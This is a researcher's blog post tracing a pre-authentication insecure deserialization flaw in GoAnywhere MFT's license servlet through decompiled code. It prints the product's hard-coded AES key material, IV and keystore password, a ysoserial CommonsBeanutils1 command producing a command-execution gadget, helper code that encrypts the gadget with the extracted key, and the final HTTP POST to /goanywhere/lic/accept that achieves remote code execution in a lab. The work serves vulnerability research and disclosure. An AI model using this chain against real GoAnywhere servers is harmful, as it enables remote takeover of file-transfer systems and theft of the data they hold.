GoAnywhere MFT - A Forgotten Bug

Feb 6, 2023

Déjà-vu

It all began with a toot by Brian Krebs on 2nd February, 2023, providing information on an “On Prem Notification/Technical BulletinFeb 1, 2023”. This advisory was only accessible by registered users, describing a upcoming threat originated from an 0day affecting the file transfer solution product GoAnywhere MFT. Nice, because I remembered looking at parts of it years ago: **2021** too be more precise. During my first steps of security code review on GoAnywhere then, I got interested in a clustering message exchange library JGroups and did some research showing insecure deserialization effects. A “JGroups PoC project” of this work can be found in my GitHub repository.

Well then, looking at the GoAnywhere security advisory again, there were some temporary mitigations listed. One should modify the web descriptor file `[install_dir]/adminroot/WEB_INF/web.xml` and delete a certain Servlet definition with its corresponding URL mapping: `<servlet-class>com.linoma.ga.ui.admin.servlet.LicenseResponseServlet</servlet-class>`. **Wait a minute**: I checked my notes from 2021 and found this.

* And sure, we see `readObject` in the end for **license verification** at `com.linoma.license.gen2.BundleWorker` ****@TODO: could be a deserialization issue similar to FTAPI****
![78c2603346571d1fff735474202b4f3c.png](./7242a759a46e4a7eabc5465e307a5ccd)

Indeed, back in 2021 I already made some notes on a dangerous sink which will become relevant in the blog post. *FTAPI* mentioned in the snippet above had an insecure deserialization bug prior to version 4.6.3 in a LicenseController class, leading to Remote Code Execution (RCE). This to me was the same kind of bug in GoAnywhere MFT but it was the administration console: I couldn’t find many instances on the Internet in 2021. What I didn’t know: JGroups. So I focused on that and forgot about the other things in my notes…until today (2nd February, 2022).

I could provide a working PoC (compare hash and time of my tweet) to my teammates within hours on the same day to protect our clients first. But now let’s go the Code Review part.

Code Review

In my case, I chose the Windows installation to get the latest version **7.1.1** at that time. It doesn’t really matter which operating system since it’s all based on Java. The installation location: `C:\Program Files\HelpSystems\GoAnywhere`. The `web.xml` from the security advisory in the `adminroot` directory indeed contained the Servlet definition and URL mapping.

```
<servlet>

    <servlet-name>License Response Servlet</servlet-name>

    <servlet-class>com.linoma.ga.ui.admin.servlet.LicenseResponseServlet</servlet-class>

    <load-on-startup>0</load-on-startup>

</servlet>

<servlet-mapping>

    <servlet-name>License Response Servlet</servlet-name>

    <url-pattern>/lic/accept</url-pattern>

</servlet-mapping>
```

Let's dive into the code. The `com.linoma.ga.ui.admin.servlet.LicenseResponseServlet` extends `HttpServlet` as expected. Requests are processed by different standard methods such as `com.linoma.ga.ui.admin.servlet.LicenseResponseServlet.doPost(HttpServletRequest, HttpServletResponse)` in our case.

```
public void doPost(HttpServletRequest paramHttpServletRequest, HttpServletResponse paramHt
  String str1 = paramHttpServletRequest.getParameter("bundle"); // [1]

  Response response = null;

  try {
    response = LicenseAPI.getResponse(str1); // [2]
  } catch (Exception exception) {
    LOGGER.error("Error parsing license response", exception);
    paramHttpServletResponse.sendError(500);
  }

  paramHttpServletRequest.getSession().setAttribute("LicenseResponse", response);
       // ...
```

At `[1]` the request parameter `bundle` is stored in the String `str1` and put into the method call at `[2]`. From `com.linoma.license.gen2.LicenseAPI.getResponse(String)` we follow further into `com.linoma.license.gen2.LicenseController.getResponse(String)`.

```
protected static Response getResponse(String paramString) throws BundleException, JAXBExce
  String str1 = getVersion(paramString); // [3]
  String str2 = BundleWorker.unbundle(paramString, getProductKeyConfig(str1));
  return (Response)inflate(str2, Response.class);
}
```

First, we step into the method definition at `[3] getVersion` in the same class.

```
protected static String getVersion(String paramString) {
  int i = paramString.indexOf('$');
  if (i > -1) {
    null = paramString.substring(i + 1);
    null = null.replace("\r", "");
    return null.replace("\n", "");
  }

  return "1";
}
```

This seems to be a version differentiation of some kind based on the fact if our `bundle` parameter contains a `$` character or not. Let's say "no" (we can change our assumptions later any time if needed). `1` will be returned then.

Back to our caller and the next code line leads us to another method `BundleWorker.unbundle(paramString, getProductKeyConfig(str1))`. `getProductKeyConfig` looks like this:

```
private static KeyConfig getProductKeyConfig(String paramString) throws BundleException {
  KeyConfig keyConfig = new KeyConfig();
  inputStream = null;
  try {
    String str = "";
    if ("2".equals(paramString)) { // [4]
      str = "1";
    }

    inputStream = LicenseController.class.getResourceAsStream("linomagen2.bcks");
    ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
    IOUtils.copy(inputStream, byteArrayOutputStream);
    keyConfig.setKeyStore(byteArrayOutputStream.toByteArray());

    keyConfig.setSigningAlias("productkey" + str);
```

```
    keyConfig.setVerifyingAlias("serverkey" + str);
    keyConfig.setPassword("G@mft2018".toCharArray()); // [5]
    keyConfig.setVersion(paramString);
    keyConfig.setKeyStoreType("BCFKS");
    return keyConfig;
          // ...
```

Nothing too interesting here: `[4]` makes again some version differentiation stuff and at `[5]` hard-coded passwords are defined for a key-store. Does GoAnywhere like hard-coded keys? Let's keep this in mind.

Now we enter something familiar (see my note in the introductory chapter): `com.linoma.license.gen2.BundleWorker.unbundle(String, KeyConfig)`.

```
protected static String unbundle(String paramString, KeyConfig paramKeyConfig) throws Bundl
  try {
    if (!"1".equals(paramKeyConfig.getVersion())) {
      paramString = paramString.substring(0, paramString.indexOf("$"));
    }

    byte[] arrayOfByte = decode(paramString.getBytes(StandardCharsets.UTF_8)); // [6]


    arrayOfByte = decrypt(arrayOfByte, paramKeyConfig.getVersion()); // [7]


    arrayOfByte = verify(arrayOfByte, paramKeyConfig); // [8]


    return new String(decompress(arrayOfByte), StandardCharsets.UTF_8);
          // ...
```

The method at `[6]` performs a Base64 decoding step. At `[7]` the byte array should be decrypted. How does `decrypt` look like?

We land in `com.linoma.license.gen2.LicenseEncryptor.decrypt(byte[], String)`.

```
public byte[] decrypt(byte[] paramArrayOfByte, String paramString) throws CryptoException
  if (!this.initialized) {
    throw new IllegalStateException("The License Encryptor has not been initialized");
  }
  if ("1".equals(paramString)) {
    if (this.encryptor == null) {
      throw new CryptoException("License Encryptor version 1 not available in FIPS mode.");
    }
    return this.encryptor.decryptToBytes(paramArrayOfByte); // [9]
  }
  return this.encryptorV2.decryptToBytes(paramArrayOfByte);
}
```

Remember the version differentiator? Since we control this, the decryption routine at `[9]` will be called (in case your not FIPS addicted). Finally, in `com.linoma.security.core.crypto.StandardEncryptionEngine.decrypt(byte[])`, a `decryptionCipher.doFinal(paramArrayOfByte)` call decrypts the byte array. But as you might know, also in Java Crypto API one has to initialize the Crypto engine properly, same for the `com.linoma.security.core.crypto.StandardEncryptionEngine.decryptionCipher` class member. Using Eclipse's "Call hierarchy" shortcut gives us the following tree, hitting the method `com.linoma.license.gen2.LicenseEncryptor.initialize(boolean)`.


```
public void initialize(boolean paramBoolean) throws Exception {
  if (!paramBoolean) {
    this.encryptor = new Encryptor(new StandardEncryptionEngine(getInitializationValue(), 1
  }
  this.encryptorV2 = new Encryptor(new StandardEncryptionEngine(getInitializationValueV2(),
  this.initialized = true;
}
```

At `[10]`, the Cipher parameters are set. What about this initialization vector? `private static final byte[] IV = { 65, 69, 83, 47, 67, 66, 67, 47, 80, 75, 67, 83, 53, 80, 97, 100 };` looks pretty “static”, alright. What about the secret key? Let’s look into `com.linoma.license.gen2.LicenseEncryptor.getInitializationValue()`.

```
private byte[] getInitializationValue() throws Exception {
  byte[] arrayOfByte1 = { 103, 111, 64, 110, 121, 119, 104, 101, 114, 101, 76, 105, 99, 101


  byte[] arrayOfByte2 = { -19, 45, -32, -73, 65, 123, -7, 85 };
  char c1 = '┼';
  char c2 = 'Ā';

  SecretKeyFactory secretKeyFactory = SecretKeyFactory.getInstance("PBKDF2WithHmacSHA1");
  PBEKeySpec pBEKeySpec = new PBEKeySpec((new String(arrayOfByte1, "UTF-8")).toCharArray(),
  SecretKey secretKey = secretKeyFactory.generateSecret(pBEKeySpec);
  return secretKey.getEncoded();
}
```

The code speaks for itself. Hard-code all the things!

Ok, back to `com.linoma.license.gen2.BundleWorker.unbundle(String, KeyConfig)`. Now, we’re probably able to provide a request parameter which could be properly decrypted as well. Next, step would be the call to `com.linoma.license.gen2.BundleWorker.verify(byte[], KeyConfig)`.

```
private static byte[] verify(byte[] paramArrayOfByte, KeyConfig paramKeyConfig) throws IOE
  objectInputStream = null;
  try {
    String str = "SHA1withDSA";
    if ("2".equals(paramKeyConfig.getVersion())) {
      str = "SHA512withRSA";
    }
    PublicKey publicKey = getPublicKey(paramKeyConfig);
    objectInputStream = new ObjectInputStream(new ByteArrayInputStream(paramArrayOfByte));
    SignedObject signedObject = (SignedObject)objectInputStream.readObject(); // [11]
    Signature signature = Signature.getInstance(str);
    boolean bool = signedObject.verify(publicKey, signature);
          // ...
```

Long story short: `[11]` calls `ObjectInputStream.readObject`, the best known sink to insecure deserialization. The one sink mentioned in my notes in 2021.

But deserialization doesn’t automatically mean RCE or similar kind of critical vulnerabilities. Some products have heavy hierarchies of well-defined Spartan-like class loaders, basically not giving you any attack vectors. Several SAP products are a really good example for this “issue”.

Looking to the `lib` folder containing all the JARs files used by GoAnywhere

```
activation-1.1.1.jar
agent-commons-3.0.0.jar
apache-mime4j-core-0.7.2.jar
aws-java-sdk-cloudfront-1.12.272.jar
aws-java-sdk-core-1.12.272.jar
aws-java-sdk-kms-1.12.272.jar
aws-java-sdk-s3-1.12.272.jar
aws-java-sdk-sts-1.12.272.jar
azure-keyvault-core-0.8.0.jar
azure-storage-5.5.0.jar
batik-all-1.15.jar
bc-fips-1.0.2.3.jar
bcmail-fips-1.0.4.jar
bcpg-fips-1.0.7.1.jar
bcpkix-fips-1.0.7.jar
bctls-fips-1.0.14.jar
bsh-2.0b6.jar
checker-qual-3.12.0.jar
commons-beanutils-1.9.4.jar
commons-codec-1.15.jar
commons-collections-3.2.2.jar
commons-collections4-4.4.jar
commons-compress-1.21.jar
commons-configuration-1.10.jar
commons-dbcp-1.3.jar
commons-digester-2.1.jar
commons-exec-1.3.jar
commons-fileupload-1.4.jar
...
```

makes the security researcher's heart beat faster. A table of gifts. I'm a fan of the ysoserial gadget `CommonsBeanutils1`. But we need some custom code to build our final payload first. Remember? The encryption/decryption part.

```
public class CryptorHelper {

	public static void main(String[] args) throws Exception, Exception {
		final byte[] IV = { 65, 69, 83, 47, 67, 66, 67, 47, 80, 75, 67, 83, 53, 80

		StandardEncryptionEngine see = new StandardEncryptionEngine(getInitializat
				"AES/CBC/PKCS5Padding");

		Path path = Paths.get("/home/user/tmp/mspaint.bin");
		byte[] data = Files.readAllBytes(path);

		System.out.println("[+] Encrypted: " + new String(Base64.encodeBase64(see.

	}

	private static byte[] getInitializationValue() throws Exception {
		byte[] arrayOfByte1 = { 103, 111, 64, 110, 121, 119, 104, 101, 114, 101, 7
				64, 36, 36, 119, 114, 100 };

		byte[] arrayOfByte2 = { -19, 45, -32, -73, 65, 123, -7, 85 };
		char c1 = '╪';
		char c2 = 'Ā';

		SecretKeyFactory secretKeyFactory = SecretKeyFactory.getInstance("PBKDF2Wi
		PBEKeySpec pBEKeySpec = new PBEKeySpec((new String(arrayOfByte1, "UTF-8"))
		SecretKey secretKey = secretKeyFactory.generateSecret(pBEKeySpec);
		return secretKey.getEncoded();
```

```
        }
}
```

We simply have to reuse the information gathered before, namely hard-coded keys and usage of Crypto API parameters. The serialized Java object created before with ysoserial goes into the file `/home/user/tmp/mspaint.bin` and the final encrypted Base64-encoded payload is printed to standard out.

First things first: `java -cp /home/user/MFT/lib/commons-beanutils-1.9.4.jar:./ysoserial-master-SNAPSHOT.jar ysoserial.GeneratePayload CommonsBeanutils1 "cmd.exe /K mspaint" > mspaint.bin`.

Why didn't I call `java -jar ysoserial.jar` instead? Because I wanted to make sure that the proper `commons-beanutils-X.Y.Z.jar` is used, the one provided in GoAnywhere's `lib` directory. Class path order takes care of choosing the proper JAR even though another BeanUtils JAR is included in the ysoserial JAR itself. We don't want to have any issues with mismatches of *serialVersionUID*s, do we?

Now, let's run the `CryptoHelper`: `[+] Encrypted: Jh88/jqGQWSbZmiCc1DErQhwOhCTLkYmA1yXgf86Ha5HF9IfVuQMLOfBS/fjlP7wTTEg2+Jx9nBDyFUKVTroXpFBt7zN1XDX58VKZCxCXlUD`
Looks good!

PoC

The final request is built like this

```
POST /goanywhere/lic/accept HTTP/1.1
Host: localhost:8000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=(
Accept-Language: de,en-US;q=0.7,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 3821

bundle=Jh88/jqGQWSbZmiCc1DErQhwOhCTLkYmA1yXgf86Ha5HF9IfVuQMLOfBS/fjlP7wTTEg2%2bJx9nBDyFUKV
```

and sent to our lab machine: **RCE**.